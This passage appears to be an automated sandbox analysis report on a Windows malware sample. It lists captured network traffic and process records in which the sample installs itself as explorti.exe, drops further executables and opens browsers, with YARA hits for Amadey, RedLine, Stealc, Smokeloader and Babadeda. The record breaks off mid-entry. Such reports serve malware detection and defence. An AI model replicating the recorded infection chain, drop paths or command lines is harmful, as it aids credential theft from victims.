4b91471096930423<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 11:54:56 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 11:54:56 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 65 54 53 66 30 4b 52 2f 7a 30 6d 5a 38 37 67 41 55 5a 63 68 4c 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: eTSf0KR/z0mZ87gAUZchLw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	59333	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:57:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 67 4f 46 2f 46 62 77 5a 6d 45 65 79 42 44 75 35 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 34 31 30 38 38 38 64 32 65 35 64 39 34 62 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: gOF/FbwZmEeyBDu5.1Context: 3410888d2e5d94b5
2024-07-26 11:57:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 11:57:12 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 67 4f 46 2f 46 62 77 5a 6d 45 65 79 42 44 75 35 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 34 31 30 38 38 38 64 32 65 35 64 39 34 62 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 67 7a 55 54 5a 78 4d 32 49 32 4e 36 51 78 64 6e 43 38 44 54 41 4f 73 43 66 4a 4c 35 63 6a 76 76 57 57 63 4c 58 4b 4a 67 35 44 36 79 75 67 66 70 79 2f 58 67 55 63 77 66 35 6b 39 57 38 6a 54 47 45 49 71 33 35 44 63 66 33 56 45 51 4f 4d 67 74 42 74 37 39 53 64 33 68 2b 42 73 41 4e 64 4a 4c 6e 59 57 64 59 46 6f 6a 71 4b 68 44 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: gOF/FbwZmEeyBDu5.2Context: 3410888d2e5d94b5<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUgzUTZxM2I2N6QxdnC8DTAOsCfJL5cjvvWWcLXKJg5D6yugfpy/XgUcwf5k9W8jTGEIq35Dcf3VEQOMgtBt79Sd3h+BsANdJLnYWdYFojqKhD
2024-07-26 11:57:12 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 67 4f 46 2f 46 62 77 5a 6d 45 65 79 42 44 75 35 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 34 31 30 38 38 38 64 32 65 35 64 39 34 62 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: gOF/FbwZmEeyBDu5.3Context: 3410888d2e5d94b5<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 11:57:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 11:57:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 49 6f 57 31 75 71 58 68 30 45 75 75 76 52 6e 78 71 41 5a 4a 45 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: IoW1uqXh0EuuvRnxqAZJEw.0Payload parsing failed.

Target ID:	2
Start time:	07:48:10
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\6SoKuOqyNh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\6SoKuOqyNh.exe"
Imagebase:	0x9f0000
File size:	1'870'848 bytes
MD5 hash:	33A84EA233FE9FE1B4C85E533A228BBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2245966908.00000000009F1000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2203138174.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:48:13
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Imagebase:	0xe10000
File size:	1'870'848 bytes
MD5 hash:	33A84EA233FE9FE1B4C85E533A228BBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.2232316189.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2273315501.0000000000E11000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:48:15
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0xe10000
File size:	1'870'848 bytes
MD5 hash:	33A84EA233FE9FE1B4C85E533A228BBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2245619240.0000000005340000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2286029441.0000000000E11000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:49:00
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0xe10000
File size:	1'870'848 bytes
MD5 hash:	33A84EA233FE9FE1B4C85E533A228BBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2691951634.0000000005150000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	07:49:05
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe"
Imagebase:	0x400000
File size:	265'728 bytes
MD5 hash:	268974E398224E4C5F7D30F8221A5F93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000B.00000002.3085036724.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.3085641302.000000000270D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 38%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:49:07
Start date:	26/07/2024
Path:	C:\Users\user\1000003002\d27375200a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000003002\d27375200a.exe"
Imagebase:	0x400000
File size:	91'648 bytes
MD5 hash:	9FDE5445045E43D9507D20A2BBA50696
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\1000003002\d27375200a.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:49:07
Start date:	26/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\F1CD.tmp\F1CE.tmp\F1CF.bat C:\Users\user\1000003002\d27375200a.exe"
Imagebase:	0x7ff78bfa0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:49:07
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:49:08
Start date:	26/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	07:49:08
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:49:08
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:49:08
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:49:08
Start date:	26/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2256,i,12859344246917402077,1353247810428413468,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:49:08
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2104,i,2763615900740779582,2928717422686434053,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:49:08
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	07:49:09
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	07:49:10
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	07:49:14
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2256 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3f267dd4-7cc3-4504-b66d-b554eae41855} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" 1892526ad10 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	07:49:15
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5280 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	07:49:16
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=3540 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	07:49:16
Start date:	26/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4504 --field-trial-handle=2256,i,12859344246917402077,1353247810428413468,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	07:49:17
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6660 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	07:49:17
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6660 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	07:49:19
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3064 -parentBuildID 20230927232528 -prefsHandle 3208 -prefMapHandle 3204 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2957b26f-774e-48be-a5e4-6995945e05fa} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" 189373ea410 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	07:49:20
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7340 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	07:49:21
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe"
Imagebase:	0x400000
File size:	265'728 bytes
MD5 hash:	268974E398224E4C5F7D30F8221A5F93
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000002.3089031616.000000000275A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000024.00000002.3088875325.0000000002740000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000024.00000002.3088348052.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	07:49:30
Start date:	26/07/2024
Path:	C:\Users\user\1000003002\d27375200a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000003002\d27375200a.exe"
Imagebase:	0x400000
File size:	91'648 bytes
MD5 hash:	9FDE5445045E43D9507D20A2BBA50696
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	07:49:31
Start date:	26/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4B76.tmp\4B77.tmp\4B78.bat C:\Users\user\1000003002\d27375200a.exe"
Imagebase:	0x7ff78bfa0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	07:49:31
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	07:49:31
Start date:	26/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	07:49:31
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	07:49:31
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	07:49:31
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	07:49:31
Start date:	26/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2000,i,9310775074731790964,8760316038364529683,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	07:49:32
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingFHJDBKJKFI.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	07:49:32
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	07:49:32
Start date:	26/07/2024
Path:	C:\Users\user\AppData\RoamingFHJDBKJKFI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\RoamingFHJDBKJKFI.exe"
Imagebase:	0xca0000
File size:	1'878'528 bytes
MD5 hash:	FDDCF49860999A5147F34179C07C4BC6
Has elevated privileges:	true
